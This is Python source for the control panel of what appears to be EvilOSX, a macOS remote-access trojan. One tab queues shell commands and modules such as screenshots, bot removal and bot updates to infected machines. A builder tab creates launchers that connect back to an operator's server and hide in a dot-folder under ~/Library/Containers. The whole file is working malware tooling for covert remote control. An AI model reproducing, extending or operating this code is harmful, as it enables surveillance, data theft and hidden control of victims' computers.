class _ExecuteTab(QTabWidget): """Tab used to execute modules or shell commands on the selected bot.""" def __init__(self, responses_tab: _ResponsesTab, model): super().__init__() self._model = model self._current_layout = None self._current_bot = None self._layout = QGridLayout() self._sub_layout = QVBoxLayout() self._module_view = ModuleView(responses_tab) self._layout.setAlignment(Qt.AlignTop) self.setLayout(self._layout) self.set_empty_layout() def set_current_bot(self, bot: Bot): """Sets the connected bot this tab will interact with.""" self._current_bot = bot def _clear_layout(self): while self._layout.count(): child = self._layout.takeAt(0) if child.widget(): child.widget().deleteLater() while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() def set_empty_layout(self): """Default layout shown when the user has not yet selected a row.""" self._current_layout = "Empty" self._clear_layout() self._layout.addWidget( QLabel("Please select a bot in the table above."), 0, 0) def set_module_layout(self, module_name: str = "screenshot"): """Sets the layout which can execute modules.""" self._current_layout = "Module" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Module") command_type_combobox.addItem("Shell") module_label = QLabel("Module name: ") module_combobox = QComboBox() for module_name in modules.get_names(): module_combobox.addItem(module_name) module_combobox.currentTextChanged.connect(self._on_module_change) command_type_combobox.currentTextChanged.connect( self._on_command_type_change) self._layout.setColumnStretch(1, 1) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(module_label, 1, 0) self._layout.addWidget(module_combobox, 1, 1) # Module layout cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) input_fields.append(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect(lambda: self._on_module_run( module_combobox.currentText(), input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) self._on_module_change(module_combobox.currentText()) def set_shell_layout(self): """Sets the layout which can execute shell commands.""" self._current_layout = "Shell" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Shell") command_type_combobox.addItem("Module") command_label = QLabel("Command:") command_input = QLineEdit() run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) command_type_combobox.currentTextChanged.connect( self._on_command_type_change) run_button.pressed.connect(lambda: self._on_command_run(command_input)) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(command_label, 1, 0) self._layout.addWidget(command_input, 1, 1) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) def _on_command_type_change(self, text: str): """Handles the command type combobox change event.""" if text == "Module": self.set_module_layout() else: self.set_shell_layout() def _on_module_change(self, module_name: str): """Handles module combobox changes.""" while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() input_fields.append(input_field) self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect( lambda: self._on_module_run(module_name, input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) def display_info(self, text: str): message_box = QMessageBox() message_box.setIcon(QMessageBox.Information) message_box.setWindowTitle("Information") message_box.setText(text) message_box.setStandardButtons(QMessageBox.Ok) message_box.exec_() def _on_module_run(self, module_name: str, input_fields: list): """Handles running modules.""" set_options = [] for input_field in input_fields: set_options.append(input_field.text()) module = modules.get_module(module_name) if not module: module = modules.load_module(module_name, self._module_view, self._model) successful, options = module.setup(set_options) if successful: if module_name == "remove_bot": code = loaders.get_remove_code(self._current_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code(self._current_bot.loader_name) else: code = modules.get_code(module_name) if not options: options = {} options["module_name"] = module_name self._model.add_command(self._current_bot.uid, Command(CommandType.MODULE, code, options)) self.display_info("Module added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname)) def _on_command_run(self, command_input: QLineEdit): """Handles running commands.""" if command_input.text().strip() == "": return self._model.add_command( self._current_bot.uid, Command(CommandType.SHELL, command_input.text().encode())) command_input.clear() self.display_info("Command added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname))
class _BuilderTab(QWidget): """Handles the creation of launchers.""" def __init__(self): super().__init__() self._layout = QVBoxLayout() host_label = QLabel("Server host (where EvilOSX will connect to):") self._host_field = QLineEdit() self._layout.addWidget(host_label) self._layout.addWidget(self._host_field) port_label = QLabel("Server port:") self._port_field = QLineEdit() self._layout.addWidget(port_label) self._layout.addWidget(self._port_field) live_label = QLabel( "Where should EvilOSX live? (Leave empty for ~/Library/Containers/.<RANDOM>): " ) self._live_field = QLineEdit() self._layout.addWidget(live_label) self._layout.addWidget(self._live_field) launcher_label = QLabel("Launcher name:") self._launcher_combobox = QComboBox() for launcher_name in launchers.get_names(): self._launcher_combobox.addItem(launcher_name) self._layout.addWidget(launcher_label) self._layout.addWidget(self._launcher_combobox) loader_label = QLabel("Loader name:") loader_combobox = QComboBox() self._loader_layout = QVBoxLayout() for loader_name in loaders.get_names(): loader_combobox.addItem(loader_name) self._layout.addWidget(loader_label) self._layout.addWidget(loader_combobox) loader_combobox.currentTextChanged.connect(self._set_on_loader_change) # Dynamically loaded loader layout self._layout.addLayout(self._loader_layout) self._set_on_loader_change(loader_combobox.currentText()) self._layout.setContentsMargins(10, 10, 10, 0) self._layout.setAlignment(Qt.AlignTop) self.setLayout(self._layout) def _set_on_loader_change(self, new_text: str): """Handles the loader combobox change event.""" while self._loader_layout.count(): child = self._loader_layout.takeAt(0) if child.widget(): child.widget().deleteLater() input_fields = [] for message in loaders.get_option_messages(new_text): input_field = QLineEdit() self._loader_layout.addWidget(QLabel(message)) self._loader_layout.addWidget(input_field) input_fields.append(input_field) create_button = QPushButton("Create launcher") create_button.setMaximumWidth(250) create_button.setMinimumHeight(30) create_button.pressed.connect(lambda: self._on_create_launcher( self._host_field.text(), self._port_field.text(), self._live_field.text(), new_text, self._launcher_combobox.currentText(), input_fields)) self._loader_layout.addWidget(QLabel("")) self._loader_layout.addWidget(create_button) @staticmethod def display_error(text: str): """Displays an error message to the user.""" message = QMessageBox() message.setIcon(QMessageBox.Critical) message.setWindowTitle("Error") message.setText(text) message.setStandardButtons(QMessageBox.Ok) message.exec_() @staticmethod def display_info(text: str): message = QMessageBox() message.setIcon(QMessageBox.Information) message.setWindowTitle("Information") message.setText(text) message.setStandardButtons(QMessageBox.Ok) message.exec_() def _on_create_launcher(self, server_host, server_port, program_directory, loader_name: str, launcher_name: str, input_fields: list): """Creates the launcher and outputs it to the builds directory.""" if not self._host_field.text(): self.display_error("Invalid host specified.") elif not str(self._port_field.text()).isdigit(): self.display_error("Invalid port specified.") else: set_options = [] for field in input_fields: set_options.append(field.text()) loader_options = loaders.get_options(loader_name, set_options) loader_options["program_directory"] = program_directory stager = launchers.create_stager(server_host, server_port, loader_options) launcher_extension, launcher = launchers.generate( launcher_name, stager) launcher_path = path.realpath( path.join( path.dirname(__file__), path.pardir, path.pardir, "data", "builds", "Launcher-{}.{}".format( str(uuid4())[:6], launcher_extension))) with open(launcher_path, "w") as output_file: output_file.write(launcher) self.display_info( "Launcher written to: \n{}".format(launcher_path))